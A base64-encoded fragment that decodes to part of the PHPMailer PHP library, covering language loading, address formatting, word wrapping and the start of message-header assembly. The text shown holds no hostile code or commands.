J2luc3RhbnRpYXRlJyA9PiAnQ291bGQgbm90IGluc3RhbnRpYXRlIG1haWwgZnVuY3Rpb24uJywKICAgICAgICAgICAgJ2ludmFsaWRfYWRkcmVzcycgPT4gJ0ludmFsaWQgYWRkcmVzczogJywKICAgICAgICAgICAgJ21haWxlcl9ub3Rfc3VwcG9ydGVkJyA9PiAnIG1haWxlciBpcyBub3Qgc3VwcG9ydGVkLicsCiAgICAgICAgICAgICdwcm92aWRlX2FkZHJlc3MnID0+ICdZb3UgbXVzdCBwcm92aWRlIGF0IGxlYXN0IG9uZSByZWNpcGllbnQgZW1haWwgYWRkcmVzcy4nLAogICAgICAgICAgICAncmVjaXBpZW50c19mYWlsZWQnID0+ICdTTVRQIEVycm9yOiBUaGUgZm9sbG93aW5nIHJlY2lwaWVudHMgZmFpbGVkOiAnLAogICAgICAgICAgICAnc2lnbmluZycgPT4gJ1NpZ25pbmcgRXJyb3I6ICcsCiAgICAgICAgICAgICdzbXRwX2Nvbm5lY3RfZmFpbGVkJyA9PiAnU01UUCBjb25uZWN0KCkgZmFpbGVkLicsCiAgICAgICAgICAgICdzbXRwX2Vycm9yJyA9PiAnU01UUCBzZXJ2ZXIgZXJyb3I6ICcsCiAgICAgICAgICAgICd2YXJpYWJsZV9zZXQnID0+ICdDYW5ub3Qgc2V0IG9yIHJlc2V0IHZhcmlhYmxlOiAnLAogICAgICAgICAgICAnZXh0ZW5zaW9uX21pc3NpbmcnID0+ICdFeHRlbnNpb24gbWlzc2luZzogJwogICAgICAgICk7CiAgICAgICAgaWYgKGVtcHR5KCRsYW5nX3BhdGgpKSB7CiAgICAgICAgICAgIC8vIENhbGN1bGF0ZSBhbiBhYnNvbHV0ZSBwYXRoIHNvIGl0IGNhbiB3b3JrIGlmIENXRCBpcyBub3QgaGVyZQogICAgICAgICAgICAkbGFuZ19wYXRoID0gZGlybmFtZShfX0ZJTEVfXykuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnbGFuZ3VhZ2UnLiBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgICAgIH0KICAgICAgICAvL1ZhbGlkYXRlICRsYW5nY29kZQogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bYS16XXsyfSg\/Ol9bYS16QS1aXXsyfSk\/JC8nLCAkbGFuZ2NvZGUpKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICdlbic7CiAgICAgICAgfQogICAgICAgICRmb3VuZGxhbmcgPSB0cnVlOwogICAgICAgICRsYW5nX2ZpbGUgPSAkbGFuZ19wYXRoIC4gJ3BocG1haWxlci5sYW5nLScgLiAkbGFuZ2NvZGUgLiAnLnBocCc7CiAgICAgICAgLy8gVGhlcmUgaXMgbm8gRW5nbGlzaCB0cmFuc2xhdGlvbiBmaWxlCiAgICAgICAgaWYgKCRsYW5nY29kZSAhPSAnZW4nKSB7CiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBsYW5ndWFnZSBmaWxlIHBhdGggaXMgcmVhZGFibGUKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJGxhbmdfZmlsZSkgb3IgIWlzX3JlYWRhYmxlKCRsYW5nX2ZpbGUpKSB7CiAgICAgICAgICAgICAgICAkZm91bmRsYW5nID0gZmFsc2U7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvLyBPdmVyd3JpdGUgbGFuZ3VhZ2Utc3BlY2lmaWMgc3RyaW5ncy4KICAgICAgICAgICAgICAgIC8vIFRoaXMgd2F5IHdlJ2xsIG5ldmVyIGhhdmUgbWlzc2luZyB0cmFuc2xhdGlvbiBrZXlzLgogICAgICAgICAgICAgICAgJGZvdW5kbGFuZyA9IGluY2x1ZGUgJGxhbmdfZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+bGFuZ3VhZ2UgPSAkUEhQTUFJTEVSX0xBTkc7CiAgICAgICAgcmV0dXJuIChib29sZWFuKSRmb3VuZGxhbmc7IC8vIFJldHVybnMgZmFsc2UgaWYgbGFuZ3VhZ2Ugbm90IGZvdW5kCiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIGFycmF5IG9mIHN0cmluZ3MgZm9yIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb25zKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIHJlY2lwaWVudCBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUKICAgICAqIEBwYXJhbSBhcnJheSAkYWRkciBBbiBhcnJheSBvZiByZWNpcGllbnQsCiAgICAgKiB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcwogICAgICogYW5kIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZSwgbGlrZToKICAgICAqIGFycmF5KGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKSwgYXJyYXkoJ3pvZUBleGFtcGxlLmNvbScsICdab2UgVXNlcicpKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJBcHBlbmQoJHR5cGUsICRhZGRyKQogICAgewogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0eXBlIC4gJzogJyAuIGltcGxvZGUoJywgJywgJGFkZHJlc3NlcykgLiAkdGhpcy0+TEU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYW4gYWRkcmVzcyBmb3IgdXNlIGluIGEgbWVzc2FnZSBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIGFycmF5ICRhZGRyIEEgMi1lbGVtZW50IGluZGV4ZWQgYXJyYXksIGVsZW1lbnQgMCBjb250YWluaW5nIGFuIGFkZHJlc3MsIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZQogICAgICogICAgICBsaWtlIGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJGb3JtYXQoJGFkZHIpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRhZGRyWzFdKSkgeyAvLyBObyBuYW1lIHByb3ZpZGVkCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzBdKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gJyA8JyAuICR0aGlzLT5zZWN1cmVIZWFkZXIoCiAgICAgICAgICAgICAgICAkYWRkclswXQogICAgICAgICAgICApIC4gJz4nOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFdvcmQtd3JhcCBtZXNzYWdlLgogICAgICogRm9yIHVzZSB3aXRoIG1haWxlcnMgdGhhdCBkbyBub3QgYXV0b21hdGljYWxseSBwZXJmb3JtIHdyYXBwaW5nCiAgICAgKiBhbmQgZm9yIHF1b3RlZC1wcmludGFibGUgZW5jb2RlZCBtZXNzYWdlcy4KICAgICAqIE9yaWdpbmFsIHdyaXR0ZW4gYnkgcGhpbGlwcGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlIFRoZSBtZXNzYWdlIHRvIHdyYXAKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsZW5ndGggVGhlIGxpbmUgbGVuZ3RoIHRvIHdyYXAgdG8KICAgICAqIEBwYXJhbSBib29sZWFuICRxcF9tb2RlIFdoZXRoZXIgdG8gcnVuIGluIFF1b3RlZC1QcmludGFibGUgbW9kZQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB3cmFwVGV4dCgkbWVzc2FnZSwgJGxlbmd0aCwgJHFwX21vZGUgPSBmYWxzZSkKICAgIHsKICAgICAgICBpZiAoJHFwX21vZGUpIHsKICAgICAgICAgICAgJHNvZnRfYnJlYWsgPSBzcHJpbnRmKCcgPSVzJywgJHRoaXMtPkxFKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc29mdF9icmVhayA9ICR0aGlzLT5MRTsKICAgICAgICB9CiAgICAgICAgLy8gSWYgdXRmLTggZW5jb2RpbmcgaXMgdXNlZCwgd2Ugd2lsbCBuZWVkIHRvIG1ha2Ugc3VyZSB3ZSBkb24ndAogICAgICAgIC8vIHNwbGl0IG11bHRpYnl0ZSBjaGFyYWN0ZXJzIHdoZW4gd2Ugd3JhcAogICAgICAgICRpc191dGY4ID0gKHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpID09ICd1dGYtOCcpOwogICAgICAgICRsZWxlbiA9IHN0cmxlbigkdGhpcy0+TEUpOwogICAgICAgICRjcmxmbGVuID0gc3RybGVuKHNlbGY6OkNSTEYpOwoKICAgICAgICAkbWVzc2FnZSA9ICR0aGlzLT5maXhFT0woJG1lc3NhZ2UpOwogICAgICAgIC8vUmVtb3ZlIGEgdHJhaWxpbmcgbGluZSBicmVhawogICAgICAgIGlmIChzdWJzdHIoJG1lc3NhZ2UsIC0kbGVsZW4pID09ICR0aGlzLT5MRSkgewogICAgICAgICAgICAkbWVzc2FnZSA9IHN1YnN0cigkbWVzc2FnZSwgMCwgLSRsZWxlbik7CiAgICAgICAgfQoKICAgICAgICAvL1NwbGl0IG1lc3NhZ2UgaW50byBsaW5lcwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAgICAgLy9NZXNzYWdlIHdpbGwgYmUgcmVidWlsdCBpbiBoZXJlCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsKICAgICAgICAgICAgJHdvcmRzID0gZXhwbG9kZSgnICcsICRsaW5lKTsKICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHdvcmRzIGFzICR3b3JkKSB7CiAgICAgICAgICAgICAgICBpZiAoJHFwX21vZGUgYW5kIChzdHJsZW4oJHdvcmQpID4gJGxlbmd0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaXJzdHdvcmQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcGFjZV9sZWZ0ID4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDIsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsZW5ndGggPD0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICRsZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuIC09IDI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICAgICAgICAgICAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRidWZfbyA9ICRidWY7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlyc3R3b3JkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICR3b3JkOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJGJ1Zl9vICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWZfbyAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHdvcmQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZpcnN0d29yZCA9IGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzZWxmOjpDUkxGOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQoKICAgIC8qKgogICAgICogRmluZCB0aGUgbGFzdCBjaGFyYWN0ZXIgYm91bmRhcnkgcHJpb3IgdG8gJG1heExlbmd0aCBpbiBhIHV0Zi04CiAgICAgKiBxdW90ZWQtcHJpbnRhYmxlIGVuY29kZWQgc3RyaW5nLgogICAgICogT3JpZ2luYWwgd3JpdHRlbiBieSBDb2xpbiBCcm93bi4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGVkVGV4dCB1dGYtOCBRUCB0ZXh0CiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbWF4TGVuZ3RoIEZpbmQgdGhlIGxhc3QgY2hhcmFjdGVyIGJvdW5kYXJ5IHByaW9yIHRvIHRoaXMgbGVuZ3RoCiAgICAgKiBAcmV0dXJuIGludGVnZXIKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHV0ZjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKQogICAgewogICAgICAgICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7CiAgICAgICAgJGxvb2tCYWNrID0gMzsKICAgICAgICB3aGlsZSAoISRmb3VuZFNwbGl0UG9zKSB7CiAgICAgICAgICAgICRsYXN0Q2h1bmsgPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrLCAkbG9va0JhY2spOwogICAgICAgICAgICAkZW5jb2RlZENoYXJQb3MgPSBzdHJwb3MoJGxhc3RDaHVuaywgJz0nKTsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkZW5jb2RlZENoYXJQb3MpIHsKICAgICAgICAgICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAgICAgICAgIC8vIENoZWNrIHRoZSBlbmNvZGVkIGJ5dGUgdmFsdWUgKHRoZSAyIGNoYXJzIGFmdGVyIHRoZSAnPScpCiAgICAgICAgICAgICAgICAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOwogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICAgICAgICAgIGlmICgkZGVjIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gU2luZ2xlIGJ5dGUgY2hhcmFjdGVyLgogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdAogICAgICAgICAgICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoID0gJG1heExlbmd0aCAtICgkbG9va0JhY2sgLSAkZW5jb2RlZENoYXJQb3MpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA+PSAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBGaXJzdCBieXRlIG9mIGEgbXVsdGkgYnl0ZSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICAgICAvLyBSZWR1Y2UgbWF4TGVuZ3RoIHRvIHNwbGl0IGF0IHN0YXJ0IG9mIGNoYXJhY3RlcgogICAgICAgICAgICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBNaWRkbGUgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyLCBsb29rIGZ1cnRoZXIgYmFjawogICAgICAgICAgICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gTm8gZW5jb2RlZCBjaGFyYWN0ZXIgZm91bmQKICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG1heExlbmd0aDsKICAgIH0KCiAgICAvKioKICAgICAqIEFwcGx5IHdvcmQgd3JhcHBpbmcgdG8gdGhlIG1lc3NhZ2UgYm9keS4KICAgICAqIFdyYXBzIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhlIG51bWJlciBvZiBjaGFycyBzZXQgaW4gdGhlIFdvcmRXcmFwIHByb3BlcnR5LgogICAgICogWW91IHNob3VsZCBvbmx5IGRvIHRoaXMgdG8gcGxhaW4tdGV4dCBib2RpZXMgYXMgd3JhcHBpbmcgSFRNTCB0YWdzIG1heSBicmVhayB0aGVtLgogICAgICogVGhpcyBpcyBjYWxsZWQgYXV0b21hdGljYWxseSBieSBjcmVhdGVCb2R5KCksIHNvIHlvdSBkb24ndCBuZWVkIHRvIGNhbGwgaXQgeW91cnNlbGYuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRXb3JkV3JhcCgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5Xb3JkV3JhcCA8IDEpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5Cb2R5LCAkdGhpcy0+V29yZFdyYXApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogQXNzZW1ibGUgbWVzc2FnZSBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBhc3NlbWJsZWQgaGVhZGVycwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlSGVhZGVyKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CgogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0RhdGUnLCAkdGhpcy0+TWVzc2FnZURhdGUgPT0gJycgPyBzZWxmOjpyZmNEYXRlKCkgOiAkdGhpcy0+TWVzc2FnZURhdGUpOwoKICAgICAgICAvLyBUbyBiZSBjcmVhdGVkIGF1dG9tYXRpY2FsbHkgYnkgbWFpbCgpCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT50byBhcyAkdG9hZGRyKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmIChjb3VudCgkdGhpcy0+Y2MpID09IDApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdGcm9tJywgYXJyYXkoYXJyYXkodHJpbSgkdGhpcy0+RnJvbSksICR0aGlzLT5Gcm9tTmFtZSkpKTsKCiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IENjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdDYycsICR0aGlzLT5jYyk7CiAgICAgICAgfQoKICAgICAgICAvLyBzZW5kbWFpbCBhbmQgbWFpbCgpIGV4dHJhY3QgQmNjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmICgoCiAgICAgICAgICAgICAgICAkdGhpcy0+TWFpbGVyID09ICdzZW5kbWFpbCcgb3IgJHRoaXMtPk1haWxlciA9PSAncW1haWwnIG9yICR0aGlzLT5NYWlsZXIgPT0gJ21haWwnCiAgICAgICAgICAgICkKICAgICAgICAgICAgYW5kIGNvdW50KCR0aGlzLT5iY2MpID4gMAogICAgICAgICkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdCY2MnLCAkdGhpcy0+YmNjKTsKICAgICAgICB9CgogICAgICAgIGlmIChjb3VudCgkdGhpcy0+UmVwbHlUbykgPiAwKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1JlcGx5LVRvJywgJHRoaXMtPlJlcGx5VG8pOwogICAgICAgIH0KCiAgICAgICAgLy8gbWFpbCgpIHNldHMgdGhlIHN1YmplY3QgaXRzZWxmCiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1N1YmplY3QnLCAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7CiAgICAgICAgfQoKICAgICAgICAvLyBPbmx5IGFsbG93IGEgY3VzdG9tIG1lc3NhZ2UgSUQgaWYgaXQgY29uZm9ybXMgdG8gUkZDIDUzMjIgc2VjdGlvbiAzLjYuNAogICAgICAgIC8vIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIyI3NlY3Rpb24tMy42LjQKICAgICAgICBpZiAoJycgIT0gJHRoaXMtPk1lc3NhZ2VJRCBhbmQgcHJlZ19tYXRjaCgnL148LipALio+JC8nLCAkdGhpcy0+TWVzc2FnZUlEKSkgewogICAgICAgICAgICAkdGhpcy0+bGFzdE1lc3NhZ2VJRCA9ICR0aGlzLT5NZXNzYWdlSUQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSBzcHJpbnRmKCc8JXNAJXM+JywgJHRoaXMtPnVuaXF1ZWlkLCAkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01lc3NhZ2UtSUQnLCAkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7CiAgICAgICAgaWYgKCFpc19udWxsKCR0aGlzLT5Qcmlvcml0eSkpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnWC1Qcmlvcml0eScsICR0aGlzLT5Qcmlvcml0eSk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+WE1haWxlciA9PSAnJykgewogICAgICAgICAgICAkcmVzdW